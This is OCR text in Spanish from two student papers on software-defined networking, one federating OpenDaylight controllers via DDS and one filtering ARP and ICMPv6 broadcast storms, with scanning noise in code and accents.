libreria DDS en el repositorio de Maven no es solo dtil a
la hora de compilar el proyecto, sino también a la hora de
ejecutar la aplicacién dentro del controlador. En la Figura
3 puede verse alguna de las modificaciones realizadas al
archivos pom.xml para conseguir lo comentado anteriormente

La carpeta que més interesa dentro del proyecto, ya que sera
la que posteriormente se exportard al controlador en formato
Jar, es la carpeta impl. Esta carpeta serd el lugar donde se
incluyen todas las clases necesarias para la elaboracién de la
solucién que se ha propuesto.

=



J.A. Exposito Arenas (tutores J.M. Lépez Soler, J. Navarro Ortiz): Federacién de controladores SDN con DDS

32 <dependency>

33 <groupIld>com.rti.dds</groupIds=
34 <artifactld>nddsjava</artifactld=>
35 =version=5.2.0</version=

36 </dependency=>
37 <dependency=>

38 =groupId=org.omg.dds</groupId>
39 <artifactld=javaS5-psm<fartifactld=
40 <version=1.0</version=

41 </dependency=

Fig. 3. Archivo pom.xml

Dentro de la carpeta mencionada, se encuentra el archivo
pom.xml. Este archivo es importantisimo para el correcto fun-
cionamiento de la aplicacidn, ya que es en este archivo donde
se especifican todas las dependencias (paquetes incluidos en
los repositorios de Maven y Opendaylight) que debe cargar la
aplicacién, tanto en tiempo de compilaciéon como en tiempo
de ejecucion.

Describiendo un poco el flujo de ejecucion del proyecto, el
primer paso consiste en generar los arquetipos de la aplicacion
de cada controlador con Maven. Después, viene lo explicado
anteriormente, la integracioén del software RTI Connext DDS
dentro del controlador Opendaylight y Maven. Una vez hecho
esto, y teniendo el disefio ya completamente terminado e
integrado en las aplicaciones (se ha usado el lenguaje de
programacién Java), el siguiente paso es compilar primero
las ambas aplicaciones y los dos controladores. Por tdltimo,
se arranca la topologia en Mininet y se ejecuta cada aplicacién
dentro de su controlador correspondiente.

V. EVALUACION

Una vez explicado en profundidad el disefio propuesto y
descrito todos los detalles de la implementacién realizada, en
este apartado se analiza la evaluacion de la solucién propuesta
en el escenario creado para tal efecto.

A. Escenario y entorno experimental

Controlador
Publisher
S

E E

Switch 1

I/'i

’
=

Host2

Controlador
Subscriber

|

-
'

Host1

Fig. 4. Topologia SDN.

Como puede verse en 4, la sencilla topologia considerada
incluye un total de tres switches. El principal (S1) estd direc-
tamente conectado con los dos controladores descritos anteri-
ormente, siendo el Unico de la topologia que tiene conexién
con ambos controladores. Los otros dos switches (S2 y S3)
cuelgan del principal. Los hosts, a su vez, estdn directamente
conectados a estos dos switches. Mas concretamente, en la
topologia se incluyen cuatro hosts, dos conectados al switch
S2 y dos conectados al switch S3. Un aspecto importante
a destacar es que aunque los enlaces entre switches son
bidireccionales, cuando se analiza la topologia, se ve como
Mininet no crea un solo enlace que permita transmitir datos
en ambos sentidos, sino que crea dos enlaces, cada uno de
los cuales transmite la informacién en un dnico sentido.

B. Evaluacion cualitativa

Sobre el escenario creado y partiendo de la base de que
la topologia ya esta creada y tiene ambos controladores
correctamente conectados, lo que se va a comprobar en este
test preliminar es que tras federar los controladores con
DDS, las bases de datos de ambos controladores tienen la
misma informacién, en lo que se refiere a flujos y topologia.
Para realizar esta comprobacion basta utilizar la API REST
que proporcionan los controladores Opendaylight a través de
cualquier navegador.

[ €) localhost:8181/restconf/config/opendaylight-inventory:nodes

—<nodes>
—<node>
<id>openflow:3</id>
—<table>
<id>0<fid>
—<flow=
<id=>L2 Rule 00:00:00:00:00:03</id>
<barrier>true</barrier>
—<instructions>
— <instruction>
<order>0</order>
— <apply-actions>
— <action>
<order>0</order>
— <output-action>
<output-node-connector>openflow:3:1</output-node-connector>
<max-length>65535</max-length>
</output-action>
</action>
</apply-actions>
</instruction>
</instructions>
—<match>
— <ethernet-match>
—<ethernet-destination>
<address>00:00:00:00:00:03</address>
</ethernet-destination>
</ethernet-match>
</match>
<hard-timeout>0</hard-timeout>
<flow-name>L2 Rule_00:00:00:00:00:03</flow-name>
<priority>32768</priority>
<table_id>0</table_id>
<idle-timeout>0</idle-timeout>

Fig. 5. Base de datos del controlador Publisher

Las Figuras 5 y 6 muestran el resultado de dicha compro-
bacién, mostrando tanto datos pertenecientes a la topologia,
como una descripcién de uno de los flujos alojados en las
data-store de los controladores.

C. Evaluacion cuantitativa

A fin de evaluar el impacto y mejoras cuantitativas que
la federacion de controladores utilizando el estindar DDS
consigue en una red SDN, se han realizado algunas pruebas,
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This XML file does not appear to have any style information associated with it. The document tree is shown below.

—<nodes>
—<node>
<id>openflow:3<fid>
—<table>
<id>0</id>
—<flow>
<id>L2_Rule 00:00:00:00:00:04 </id>
<barrier>true</barrier>
—<instructions>
—<instruction>
<order>0</order>
—<apply-actions >
—<action>
<order>0</order>
—<output-action>
<output-nod D
<max-length>65535</max-length>
</output-action>
</action>
</apply-actions>
</instruction>
</instructions>
—<match>
—<ethernet-match>
—<ethernet-destination>
<address>00:00:00:00:00:04 </address>

tor>

:3:2</output-nod

Fig. 6. Operational Data-Store del Subscriber después de recibir las muestras
DDS.

tales como medir el tiempo de recuperacion frente a fallos y
la cantidad de trafico generada para recuperar el estado de la
red sobre tres escenarios que quedan descritos a continuacion:

« Escenario 1. Este escenario es el mas simple, ya que en
el despliegue solo se usa un controlador Opendaylight.
Cuando se produce un fallo en el mismo controlador,
este se reinicia completamente.

« Escenario 2. Escenario un poco mds completo, en el cual
ya existen dos controladores en el despliegue de la red.
Sin embargo estos controladores no estan federados ni
comparten ninguna informacién. Cuando el controlador
primario falla, el secundario toma automdticamente el
control de la red, pero no dispone de ninguna clase
de informacién de la misma, por lo que requiere cierto
tiempo el recuperar el estado que se tenia antes del fallo
del controlador primario.

« Escenario 3. Este es el escenario mds relevante. En este
caso consiste en un despliegue con dos controladores
federados entre si, que comparten la misma imagen de la
red, permitiendo que el cambio de un controlador a otro
sea automatico sin afectar practicamente nada al correcto
funcionamiento de la red.

El primer aspecto que se analiza es el tiempo de recu-
peracién frente a un fallo del controlador, hasta que la red
vuelva a estar completamente operativa de nuevo. Analizando
brevemente la Figura 7, se puede ver como el Escenario 1
es el menos eficaz y mds lento, ya que conlleva el total
reinicio del controlador, el nuevo aprendizaje de la red, y la
obligada configuracién para el encaminamiento de paquetes.
El Escenario 2 es un poco mas rapido, ya que elimina la
parte del reinicio. Por dltimo, el Escenario 3 es el mds eficaz
puesto que solo hay que ajustar la configuracién para el
encaminamiento de paquetes.

Otro aspecto importante a analizar, es la cantidad de trafico
necesario y los mensajes que tienen que ser intercambiados
para volver a un estado éptimo de funcionamiento cuando se
produce un fallo en la red. En la Figura 8 se puede ver un
andlisis de todos estos mensajes generados durante el tiempo
de inactividad en cada uno de los escenarios propuestos, con
el fin de volver a estar completamente operativos.

Es facil ver como en el caso de un solo controlador
(Escenario 1), la cantidad de mensajes intercambiados, y por
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Fig. 8. Grifica del trafico generado durante la recuperacion.

lo tanto el trafico generado es mayor. En este escenario, tras
un fallo, se debe volver a establecer la conexion, descubrir de
nuevo la topologia de toda la red y crear todas las tablas de
los switches en el controlador.

En el Escenario 2, los mensajes necesarios son los mismos,
la unica ventaja con el Escenario 1 es que no hay que esperar
a que el controlador se reinicie para volver a establecer la
conexion.

El Escenario 3 es el que mds ventajas ofrece, ya que aunque
la conexién se debe establecer con los dos controladores, en
caso de fallo de la red los mensajes LLDP para reconstruir
la topologia no deben volver a ser enviados, al igual que
los flujos no deben ser creados de nuevo, puesto que ambos
controladores comparten la misma informacioén.

Con el andlisis realizado de todos los aspectos que resultan
fundamentales para el funcionamiento de la red, los resultados
muestran que la solucién propuesta es la mas adecuada. Esto
indica por lo tanto, que la federacion de controladores SDN
mediante DDS permite, aparte de mejorar la escalabilidad y
fiabilidad de la red, permite reducir de manera significativa
el tiempo de recuperacion cuando se produce un fallo en el
controlador primario de la misma.

VI. CONCLUSIONES

El uso de las Sofware-Defined Networks como tecnologia de
core en las redes actuales, es un paradigma que estd ganando
mucha fuerza durante los dltimos afios, ya que la arquitectura
de red mas utilizada actualmente sufre ya problemas de
escalabilidad y sobrecarga de trafico.

En este trabajo se ha perseguido la realizacién de una labor
de investigacién y desarrollo de un método de federacién de
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controladores SDN mediante el uso del estindar DDS, mas
concretamente, mediante el uso del software RTI Connext
DDS. Esto permite, en otras cosas, el intercambio de infor-
macioén entre varios controladores Opendaylight en tiempo
real, siendo util para mejorar la escalabilidad y resistencia
a fallos de la red.

El principal logro ha consistido en la integraciéon del
software RTI Connext DDS, que implementa el estindar DDS,
dentro del controlador Opendaylight. Tras implementacion
de la solucién propuesta, se ha evaluado un escenario de
red formado por varios switches y dos controladores. Para
cada uno de estos controladores se ha disenado también
una aplicacién para ser integrada en su arquitectura. Esta
aplicacién permite, por una parte, el correcto encaminamiento
de paquetes entre todos los equipos de la red, y por otra
parte, el intercambio de informacién sobre la topologia de la
red o los flujos creados para el encaminamiento de paquetes
anteriormente comentado.

Se ha llevado a cabo la simulacién y evaluacién de un es-
cenario sencillo en Mininet. Tras los experimentos realizados,
se ha demostrado cémo el disefio propuesto permite que los
controladores intercambien la informacidn necesaria para que
mantengan una imagen coherente de la red en tiempo real.
Ademais, también se ha llevado una comparativa entre posibles
escenarios de implementacién en el despliegue de redes SDN,
demostrando que el esquema desarrollado es el mas rdpido y
eficaz para reducir el tiempo de recuperacién frente a fallos de
la red, asi como para solucionar problemas de escalabilidad
en la misma.
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Resumen—El uso de Ethernet como tecnologia de red para
redes empresariales se justifica por su bajo coste y facilidad de
configuracion y mantenimiento. Sin embargo, estas redes no son
muy escalables, debido en parte a las tormentas de broadcasts,
que afectan al rendimiento tanto de los dispositivos de red como
finales. El paradigma de Software Defined Networking (SDN)
permite reprogramar la red de forma centralizada y flexible. El
objetivo principal de este trabajo sera la implementacion de una
red de area local extensa mediante la utilizacion de SDN. Mas
especificamente, se pretende disefiar algoritmos para reducir
el impacto de las tormentas de broadcast, programando filtros
especificos para protocolos de red que generen estas tormentas.
Esta solucion permite desplegar redes de area local mas amplias,
adecuadas para los requisitos de redes corporativas. En este
documento se describe el desarrollo de filtros para los protocolos
IPv4, ICMP y ARP, su implementacién en el controlador SDN
OpendayLight y la evaluacion de los resultados obtenidos.

Palabras clave—Address Resolution Protocol (ARP), Broad-
cast, Controlador, Filtrado, Internet Control Message Protocol
version 6 (ICMPv6), Java, Mininet, OpenDay-Light (ODL),
Software Defined Networking (SDN)

I. INTRODUCCION

STE documento contiene el resumen del Trabajo Fin
de Grado titulado “Implementacién de Red de Area
Local Extensa mediante Software Defined Networking” y
realizado durante el curso 2015/2016, en el que se desarrollan
procedimientos SDN que permiten reducir el problema de los
broadcasts para mejorar la escalabilidad de estas redes.
Respecto a la sistemdtica seguida en el desarrollo del
trabajo, en primer lugar se realizé un estudio bibliografico
de las tecnologias implicadas, principalmente SDN, y una
familiarizacién con las herramientas necesarias para trabajar.
Entre ellas destacan: el protocolo OpenFlow [1], el con-
trolador OpenDayLight (ODL)[2] y el emulador de redes
Mininet[3]. Una vez definidos los escenarios sobre los que
aplicar la solucién, se disefié un algoritmo para la deteccion e
identificacidn, filtrado y reenvio de paquetes en el controlador
SDN. Posteriormente, se realizé la programacién del cédigo
a partir de un switch inteligente. Por dltimo, se realizé una
evaluacion de la solucién implementada teniendo en cuenta las
mejoras en el rendimiento del sistema, asi como las posibles
vias de aplicacion futuras.
Al igual que la memoria técnica del trabajo, este resumen
se divide en apartados para facilitar la lectura del mismo. En

primer lugar se presenta un apartado de contexto y motivacién
(Sec. II), que describe el problema abordado y analiza el
alcance del proyecto. Posteriormente, se presenta la revision
del estado del arte con los conceptos tedricos seguidos en
la realizacién del trabajo (Sec. III), seguido de un apartado
de recursos y planificacion (Sec. IV). El grueso del trabajo se
incluye en el apartado de resolucién, que presenta las fases de
disefio e implementacién de la solucién (Sec. V). Por dltimo,
se incluyen los apartados de evaluacién de la solucién (Sec.
VI) y de conclusiones y proyeccién de futuro (Sec. VII).

II. CONTEXTO Y MOTIVACION

Los servicios de datos mdviles se han convertido poco a
poco en imprescindibles para la mayoria de usuarios, lo que
supone un incremento del trafico en las redes inaldmbricas.
Dicho incremento representa uno de los mayores retos a los
que cualquier red de comunicacién tendrd que enfrentarse en
el futuro[4]. A esto se le sumaria la reduccidn de la latencia y
los costes asociados, de forma que se plantean nuevos disefios
y arquitecturas de red con el fin de satisfacer las crecientes
exigencias de los usuarios. SDN surge como una de las posi-
bilidades para suplir esa creciente demanda, considerandose
una opcién dindmica, gestionable, econdmica y adaptable.
Ademas, reduce los costes asociados a las redes, conocimos
como CAPital EXpenditures (CAPEX) y OPerating EXpense
(OPEX), lo que se suma a las ventajas de utilizar esta
arquitectura a la hora de renovar las redes de comunicacién[5].
De este contexto se puede deducir la motivacién para la
realizacion del trabajo. El aprovechamiento de las redes es un
sector en el que se ha invertido gran cantidad de recursos; pero
los requerimientos de las telecomunicaciones son cada vez
mayores, por lo que un salto de generacion mévil implicaria
un cambio completo de la red que suponga una solucién
definitiva y no temporal, como se ha hecho hasta ahora.

A. Descripcion del problema

En [6], se presenta una posible arquitectura de Ethernet
sobre Radio (EoR) para la préxima generacién mdvil basada
sobre Ethernet. Esta arquitectura estd optimizada para Internet
Protocol version 6 (IPv6) y donde SDN es la clave para
resolver los retos previstos. Con esta vision, esquematizada en
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Fig. 1. Arquitectura propuesta en [6] para la red 5G EPC.

Fig. 1, se pretende eliminar parte de la complejidad Evolved
Packet Core (EPC), de forma que 5G sea mds escalable y
eficiente. Sin embargo, la escalabilidad de las redes Ethernet
[7] estd limitada por las inundaciones de red (o tormen-
tas de broadcast), causadas por los protocolos de arranque
que utilizan los usuarios finales, como Address Resolution
Protocol (ARP)[8] o Dynamic Host Configuration Protocol
(DHCP)[9]. Para superar estas limitaciones, las nuevas arqui-
tecturas basadas en Ethernet tratan de reducir las inundaciones
de las tramas broadcast a la vez que ofrecen los servicios
Ethernet esperados. Las tormentas de broadcasts o difusién
se producen cuando varios dispositivos envian paquetes a
la direccién de difusién de la red. Este fenomeno no sélo
consume recursos de red, sino que que afecta al rendimiento
de los dispositivos. Por otra parte, StateLess Address Auto-
Configuration (SLAAC)[10] permite la autoconfiguracion de
los hosts IPv6, lo que a su vez supone multitud de solicitudes
multicast.

Asi, el principal problema planteado es la disminucién de
la eficiencia de estos sistemas al producirse una inundacién.
A modo de solucién, se presenta en este trabajo el filtrado
de mensajes, de forma que el controlador disponga de unas
tablas identificativas para cada nodo y sea el encargado de
reenviar los mensajes dirigiéndolos a un destinatario limitado
directamente, de manera que se eviten las inundaciones de red
siempre que sea posible.

B. Alcance del proyecto

Se trata de un estudio sobre las redes SDN vy la posibilidad
de integrarlas como arquitectura sobre la que desarrollar
futuras redes de telecomunicaciones. Mediante el estudio
del estado de arte, se profundiza en la situacién actual de
SDN, asi como en las herramientas de las que se dispone
para su manejo. Se emulard una red SDN y se evaluara
el rendimiento de la misma, tomando como referencia las
limitaciones de las redes actuales. Se disefiard un algoritmo
capaz de integrar los requerimientos de la red, que se aplicara
sobre el controlador ODL una vez implementado, encargado
de filtrar los paquetes y redirigirlos a los diferentes agentes
implicados en la comunicacién, con el fin de optimizar el
rendimiento del sistema.

Ademads, ya que se plantea una posible arquitectura para
generaciones moviles futuras, se ha tenido en cuenta que la
versién del protocolo de Internet utilizada sea la 6. IPv6
serd la version encargada de sustituir a Internet Protocol
version 4 (IPv4), actualmente implementada en la mayoria

de dispositivos que acceden a Internet. Sin embargo, IPv4
limita el ndmero de direcciones de red admisibles debido a
que su espacio de direccionamiento es mucho menor a 232,
restringiendo por tanto el crecimiento de Internet y su propio
uso.

III. ESTADO DEL ARTE

A. Tormentas de Broadcast

Como ya se ha mencionado, el principal problema en
cuanto a escalabilidad de las redes viene dado por las tormen-
tas de broadcast. En términos generales, esta difusion amplia
es una forma de distribucién de informacién en la que un
nodo envia un mensaje a todos los nodos de la red de manera
simultdnea. Es utilizado principalmente por los protocolos
de arranque y de configuracion y disminuye la eficiencia de
los sistemas aumentando el trifico de la red. Ademds, ya
que no s6lo aumenta el trafico sino el nimero de paquetes
recibidos por cada terminal, reduce también el rendimiento de
los equipos. En Fig. 2, se observa el efecto de una tormenta
de broadcast en hosts de redes IP. Se trata de un experimento
realizado por Cisco para medir el efecto de estas tormentas en
una estacién SPARC con una tarjeta estindar de Ethernet. Se
demostr6 que una estacion de trabajo puede dejar de funcionar
debido a las inundaciones broadcast de la red. Ademas, se
observaron puntualmente picos de miles de broadcast por
segundo en las tormentas de broadcast, lo que supone una
disminucién del rendimiento del sistema de hasta el 25%|[11].
Se plantean nuevos disefios para mitigar estos problemas,
entre los que cabe destacar Ethane[12] y SEATTLE[13]. En el
caso de Ethane, se presenta la posibilidad de que las tormentas
de broadcast sean gestionadas por un controlador, mientras
que SEATTLE propone una transformacién de los mensajes
broadcast en unicast, aunque esto requeriria unos switches
especificos muy costosos. Se concluye que SDN es una opcién
viable frente a estos disefios para implementar una solucién
que supla la demanda de los usuarios.

Respecto a los protocolos que mayor cantidad de trafico
generan, destacan ARP e Internet Control Message Protocol
version 6 (ICMPv6)[14], por lo que el disefio de la solucién
abordard los procedimientos de autoconfiguracion de IPv6 y
los procedimientos de resolucién de direcciones IP y fisicas
en IPv4[15] e IPv6[16].
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Fig. 2. Efecto de una tormenta de broadcast en hosts de redes IP. Extraida
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Fig. 3. Arquitectura simplificada de SDN.

B. Software Defined Networking

Las redes SDN permiten atender las necesidades de los
usuarios de forma dindmica y escalable. En SDN, la red se
programa de forma centralizada, evitando al administrador
gestionar los servicios requeridos a bajo nivel. Esto permite
que la red se adapte al entorno, ofreciendo una calidad
de servicio acorde al estado del mismo. En estas redes, el
controlador actia como ‘“‘cerebro” encargado de comunicar
a los conmutadores de la red qué deben hacer con cada
flujo de paquetes nuevo. Se plantea el concepto de separacion
del plano de control de red (software) y del plano de datos
(hardware que conmuta los paquetes en la red), tal y como
muestra Fig. 3 [17]. Las aplicaciones de red usaran la interfaz
de programacién (API) NorthBound sobre el plano de control
para reforzar sus principios en el plano de datos sin interactuar
con el mismo directamente. La interfaz entre el plano de
control y el de datos se apoya en SouthBound APIs, donde el
controlador SDN usa dichas APIs para comunicarse con los
equipos de la red en el plano de datos[18]. Dichos equipos
deberdn soportar las APIs estandarizadas en este nivel. SDN
posibilita la administracién de la red al completo a través de
un sistema inteligente que permite la asignacién de recursos
segin la demanda, redes virtualizadas y servicios cloud se-
guros. Por tanto, la red estdtica evoluciona en una plataforma
de servicio independiente capaz de responder rapidamente a
las necesidades de mercado de los usuarios finales, lo que
simplifica en gran medida el disefio y las operaciones de red.

C. Emulador Mininet

El emulador de redes virtuales Mininet[19] es la herra-
mienta bdsica para trabajar con SDN. Permite crear redes
virtuales junto con todos sus elementos en una inica maquina,
facilitando la posterior interaccién con dichas redes mediante
lineas de comandos. Al ser emulador, en lugar de simular
el funcionamiento de la red introduce errores aleatorios para
que los resultados obtenidos sean los mds parecidos a la
realidad posible. Como ventajas, destacar que permite el
desarrollo de redes disefladas en hardware, ademdas de la
ejecucion en tiempo real, lo que permite evaluar condiciones
de errores en la red. Dispone de multitud de topologias para
la emulacién de diferentes escenarios, y permite ademds crear
nuevas topologias mediante la programacién de entornos con
Python, lo que facilitara el estudio de las redes SDN.
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D. Protocolo OpenFlow

OpenFlow es un protocolo de comunicaciones disefiado
para dirigir el manejo y enrutamiento del trafico en una red
conmutada, en términos de flujos. Un flujo seria un grupo de
paquetes definido. Dado que se trata de un estdndar abierto,
se ha convertido en el modelo estindar de implementacién de
SDN para la gestion de la red. Se ha traducido asi como la
primera interfaz de comunicaciones definida entre las capas
de control y de transporte en esta arquitectura[20]. El disefio
del protocolo se apoya sobre tres bases: los switches con
soporte para OpenFlow (que encaminan los paquetes), las
tablas de flujos instaladas en dichos switches para la gestion
del trifico y el controlador encargado de comunicar a los
switches la informacién necesaria para administrar el trafico
de la red (afadiendo y eliminando flujos)[21]. Asi, aunque el
switch OpenFlow es responsable del reenvio de paquetes, las
decisiones de enrutamiento serdn tomadas por el controlador.
Ambos se comunican a través de OpenFlow, que define
los mensajes que hacen referencia a los paquetes enviados,
recibidos, la identificaciéon de estados y la modificacién de
las tablas de flujos para el encaminamiento. De esta forma,
cuando el switch recibe un paquete para el que no tiene
entradas en la tabla de flujo, se lo reenvia al controlador,
que serd el encargado de decidir si el paquete es descartado
o si se agregard una entrada en las tablas. En este caso, el
switch podrd gestionarlo por si mismo, en caso de volver
a recibir un paquete similar. El proceso que determina qué
hacer con cada paquete se denomina Pipeline. Bésicamente,
cada switch dispone de varias tablas, con multitud de flujos
cada una. Cuando llega un paquete, se busca hacer el llamado
“matching” en el que se compara cada uno de los valores
del paquete con los flujos de la tabla inicial. En caso de no
encontrar ningln flujo coincidente, se pasa a la siguiente tabla.
En otro caso, se ejecutaria la accién determinada para ese
flujo, entre las que se encuentra la de enviar ese paquete a
otra tabla de orden superior. En caso de no haber matching
con ninguna tabla, se enviard el paquete a una tabla “missing”,
que decide si debe inundar la red con el paquete, mandarlo
al controlador o comenzar de nuevo con un matching mas
flexible.

E. Controlador OpenDayLight

Como controlador, existen diferentes opciones para imple-
mentar la solucién con soporte para OpenFlow, a destacar
NOX (basado en C++), POX y Ryu (Python), que sin embargo
suponen una lenta ejecucion de la red. ODL es una alternativa
de cddigo abierto y robusto que presenta buen rendimiento
de ejecucién y soporte de produccién, ya que se encuentra
respaldado, entre otros fabricantes de dispositivos de red, por
Cisco. Al desarrollarse sobre Java, su mayor limitacién es
la complejidad en la creacién de aplicaciones, aunque esto
lo hace compatible con la mayoria de sistemas operativos.
ODL dispone de una capa de abstraccion que separa el
controlador de los elementos de red, y esta capa puede
basarse en APIs o en modelos. Esta ultima unifica las APIs,
proporcionando una mayor abstraccién. Ademds, se utiliza
el lenguaje de modelado YANG para la descripcién de las
estructuras basadas en modelos, lo que simplifica el desarrollo
de aplicaciones en el controlador.[22][23]
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Fig. 4. Diagrama de Gantt de la planificacién temporal dividida en cargas de trabajo.

IV. RECURSOS Y PLANIFICACION

Para una mejor comprensién de la planificacién temporal
del proyecto, se divide la carga de trabajo en diferentes
actividades, ilustradas en el diagrama de Gantt de la Fig. 4.
La revision del estado del arte compone el primer paquete de
trabajo, que recaba informacién para la puesta en marcha del
proyecto. Seguidamente, se realiza una fase de familiarizacion
con las herramientas, que incluye la configuracion del sistema
y la toma de contacto con el emulador de redes Mininet.
Posteriormente, se inicia el desarrollo de la solucidon en si,
que incluye las fases de familiarizacién con el controlador,
familiarizacién con los protocolos, disefio de la solucién a
partir del esqueleto del “Learning Switch” e implementacion
de la solucidn, lo que incluye la resolucién de los problemas
de disefio y rendimiento. Por dltimo se realiza una fase de
pruebas y andlisis de resultados obtenidos, que constituye la
evaluacién de la solucién propuesta. El paquete de elaboracion
de la memoria técnica del proyecto se inicia paralelamente
a estas dos ultimas cargas, concluyendo asi la planificacién
temporal.

A modo de conclusion, se estima, considerando los dias
trabajados, en 500 horas el total de horas empleadas en la
realizacién del proyecto. Esta estimacion se aplica a contin-
uacién en la evaluacién de costes asociados a los recursos
humanos que ha requerido el trabajo.

A. Recursos utilizados

Se desglosan en este apartado los recursos implicados en
la realizacion del proyecto, diferenciando segiin el tipo de
recursos. Recursos humanos hacen referencia a D. Juan José
Ramos Mufioz en calidad de tutor del proyecto, D. Jorge
Navarro Ortiz en calidad de cotutor del proyecto y Barbara
Valera Muros en calidad de investigadora y autora. Recursos
Hardware incluye el equipo personal con procesador Intel
Core i7 a 2.7GHz, memoria RAM de 4GB y unidad de estado
s6lido, Solid-State Drive (SSD) de 500GB de capacidad y la
linea de acceso a Internet. Los recursos Software incluyen
la maquina virtual Oracle VirtualBox, Sistema Operativo
Ubuntu 14.04 (64 bits), herramienta Mininet, controlador
OpenDayLight, Java Development Kit, herramienta Maven,
entorno Eclipse Luna, analizador de protocolos Wireshark,
programa de edicién en Latex Texmaker y sistema de escritura
colaborativo Overleaf.

B. Estimacion de costes

En un intento de minimizar el coste del proyecto, se
recurre al uso del llamado Software Libre, de forma que las
herramientas no suponen coste alguno. Ademds, gracias al
convenio universitario, €l coste asociado al acceso a articulos
académicos es nulo. Considerando la planificacién temporal
mostrada en Fig. 4, se estiman el sueldo medio del alumno
recién titulado y los profesores contratados (considerando 40
horas de trabajo de tutorizacién y 10 horas de revision por
parte del tutor principal y 10 horas de tutorizacién del cotutor)
y se concluye un presupuesto total de 17050 €, tal y como
muestra la Tabla I.

Tabla I
PRESUPUESTO TOTAL ESTIMADO

Recurso Coste asociado  Coste total
Trabajo del alumno 25 €/hora 12500 €
Tutorizacién Juan José Ramos 50 €/hora 2500 €
Tutorizacién Jorge Navarro 50 €/hora 500 €
Linea de acceso a Internet 25 €/mes 250 €
Equipo personal de trabajo 1300 € 1300 €
Software empleado 0€ 0€
PRESUPUESTO TOTAL 17050 €

V. RESOLUCION DEL TRABAJO

Se realiza un disefio que filtre las inundaciones en la red,
aumentando su escalabilidad y el rendimiento del sistema. Se
diferencian dos casos, IPv4 e IPv6. En IPv4 destaca ARP,
que genera mensajes “Request” y “Reply” para asociar las
direcciones IP y fisicas de los dispositivos de la red cada
vez que inician una conexién. En IPv6 se realiza una auto-
configuracién de las direcciones libres de estado (SLAAC)
de los hosts, lo que supone multitud de peticiones multicast,
ya que en esta versiéon del protocolo no existe broadcast
propiamente dicho. Al conectarse un nodo a una red IPv6, se
inicia el procedimiento de descubrimiento de vecino (NDP)
para descubrir la presencia de otros nodos en el mismo enlace.
Se envia una solicitud de router (Router Solicitation) de enlace
local mediante multicast, para conocer los pardmetros de
configuracién de red. El router responde con un anuncio de
router (Router Advertisement). Se realiza también la solicitud
(Neighbor Solicitation) y anuncio (Neighbor Advertisement)
de nodos correspondiente para comunicarse con el resto de
elementos de la red.
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A. Diserio de la solucion

El disefio consta de tres fases. En primer lugar se realiza
la deteccién e identificacion de paquetes para su posterior
filtrado, de acuerdo al tipo de protocolo al que pertenece.
Posteriormente, segun el tipo de mensaje que contenga el pa-
quete, se realiza un filtrado en el que el controlador almacena
informacion de los nodos y decide si reenviar el paquete al
resto de la red o responderlo automaticamente. En la fase de
reenvio, el controlador realiza el envio, bien de la respuesta
directamente, o del paquete al resto de la red.

Se consideran por tanto dos posibles casos, cuando el
controlador filtra la solicitud y responde automdticamente y
cuando se pone en contacto con el nodo destino y se encarga
de procesar la respuesta del mismo posteriormente, tal y como
muestra la Fig. 5.

En la fase de deteccidn, se estudia el tipo de Ethernet
para determinar qué flujo de filtrado seguir, y se extraen las
direcciones fisicas e IP de origen y destino para almacenarlas
en la tabla del controlador en la que se encuentra la infor-
macién para generar respuestas automaticas. Posteriormente,
de ser ARP, se comprueba si la entrada estd en la tabla y
estd actualizada de ser asi. Si se trata de una respuesta se
almacenard la carga del paquete para utilizarla posteriormente;
mientras que si se trata de una peticiéon se estudia si el
controlador puede o no responderla con la informacién de la
que dispone. El caso de IPv6 es mds complejo, comprobando
en la deteccion si de trata de un mensaje ICMP y, en ese
caso, de qué caso se trata. En caso de ser solicitud de router,
comprueba si dispone de la carga del mismo para responder
automaticamente al nodo solicitante. Si es anuncio de router,
almacena el prefijo de la red con la informacién necesaria para
la configuracién del resto de nodos y, en caso de disponer de
una entrada previa y actualizada del router, bloquea el reenvio
de este paquete al resto de la red. En la solicitud de vecino
estudia si el nodo origen estd en la tabla y crea una entrada
para el mismo si no dispone de una, y posteriormente realiza el
mismo estudio para el nodo destino, comprobando asi si puede
responder automdticamente dicha solicitud. Los anuncios de
vecino creardn o actualizardn las entradas del controlador, y
en caso de ser una entrada actualizada serdn bloqueados por
el controlador para que no se realice el reenvio al resto de la
red.

Una vez se ha filtrado el paquete, se comprueba si la
variable de reenvio ha sido modificada por el controlador. De
no ser asi se realiza un reenvio por defecto al resto de la red,
mientras que si se ha editado se realizara el bloqueo de este
paquete y se enviard la respuesta generada por el controlador
directamente al nodo solicitante.

2. FILTRADO SOLICITUD
5. FILTRADO RESPUESTA

3.1 SOLIGITUD PROGESADA
== ——| CONTROLADOR

1. SOLICITUD
4. RESPUESTA

HOST ORIGEN HOST DESTINO

3.2 RESPUESTA AUTOMATICA

6. RESPUESTA PROCESADA

Fig. 5. Esquema bdsico de la comunicacion establecida entre los hosts y el
controlador
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B. Configuracion de IPv6

Para realizar la configuracién de la red en IPv6 es necesario
instalar y configurar el demonio de Router Advertisement
(RADVD). Al crear el archivo de configuracién, se establece
el prefijo de red que utilizardn los dispositivos en la auto-
configuracién de direcciones, asi como la interfaz del router
destinada al envio de dicho prefijo, que serd la interfaz del
nodo que actiia como router en la red. Tras lanzar la topologia
en Mininet, se configura el router y el resto de nodos, se
habilita IPv6 en Mininet y se inicia el servicio RADVD. Asi,
cada nodo dispone de una direccién de enlace IPv6 y, en el
caso de los nodos que no actian como router, de una direccién
global asignada por el router a partir del prefijo creado.

VI. EVALUACION DE LA SOLUCION

Por dltimo, se realiza la evaluaciéon de los resultados
obtenidos mediante una serie de experimentos sobre una
plataforma de SDN emulada. Concretamente, se comprueba
el funcionamiento de la solucién en IPv4, en IPv6, el
funcionamiento conjunto de ambos ejecutdndose de forma
simultdnea y concurrente y la mejora de rendimiento que
supone la implementacién frente a un sistema que no realice
el filtrado de mensajes. Se demuestra que la utilizacién de
un controlador con la solucién implementada supone una
importante disminucién del tridfico de la red y plantea la
posibilidad de extender el disefio a nuevos protocolos con
la intencién de optimizar el funcionamiento de estas redes.

Tabla II
NUMERO DE PAQUETES TRANSMITIDOS PARA CADA CASO EN LA PRUEBA
DE RENDIMIENTO.

ARP ICMPv6
Sin Filtrado | Con Filtrado | Sin Filtrado | Con Filtrado
5 Nodos 94 30 1064 654
10 Nodos 1585 811 9348 7947
20 Nodos - 63458 - 583506

Para el caso del rendimiento, se realiz6 el experimento
emulando una red con 5, 10 y 20 nodos. La Tabla II muestra
el resumen de las estadisticas para cada caso estudiado, pre-
sentando el nimero de paquetes transmitidos por protocolo en
cada caso. Debido a las limitaciones en cuanto a equipamiento
